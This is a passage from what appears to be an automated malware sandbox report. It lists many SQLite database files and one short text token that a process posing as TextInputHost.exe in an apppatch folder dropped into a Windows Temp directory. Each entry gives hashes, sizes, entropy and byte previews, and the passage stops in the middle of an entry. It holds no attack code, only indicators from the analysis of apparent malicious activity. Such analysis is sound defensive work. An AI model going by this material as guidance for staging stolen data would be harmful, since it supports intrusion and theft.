File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\f6d3EqUgic

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fGF2zCKbr0

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fcT3K7hYJv

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fhpiWsvRWU

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\g24ZfhThDI

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gSBmZBmPqY

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gdOUh80jwR

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hPfu6ZcZY4

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hfiqnAn0nw

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hz44Czen4Q

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\i0BDENuC9t

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.893660689688186
Encrypted:	false
SSDEEP:	3:SqrV0F3:SqrS3
MD5:	DE2609AFE105EAF4D89BC927796238D0
SHA1:	F280157514A1E717A223988FAE8AC0A163C3A8B4
SHA-256:	AF8BF19BE0F662389E4A97D0423E08F435FA252790AC587B1D61774351B1CD8C
SHA-512:	AD6530EB0E8A5CA2F56CE9889B6DBB5146C621AE51B756A4DFDE052412E355ED3099AAB2FD5E107BA959342ED59CBA02517E2C771892727B477D842F2CCDA806
Malicious:	false
Preview:	s0OFrrQBepp8FVRIVjs0VujI3

C:\Users\user\AppData\Local\Temp\ieY7jsqvsb

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ijZoAVYsUP

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iw5uceMu8I

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jnDBfNNgHm

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jnIEYBnjnH

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jnZKvoMxbn

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jshikKKCKO

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\juqv52LUJY

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kKMY1BKuba

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\l2zAksfqlW

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lbFghzuSIb

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mDXSA16MVa

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mGYkM5me59

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\myRq1XzUcv

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nAbVUvcxlo

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
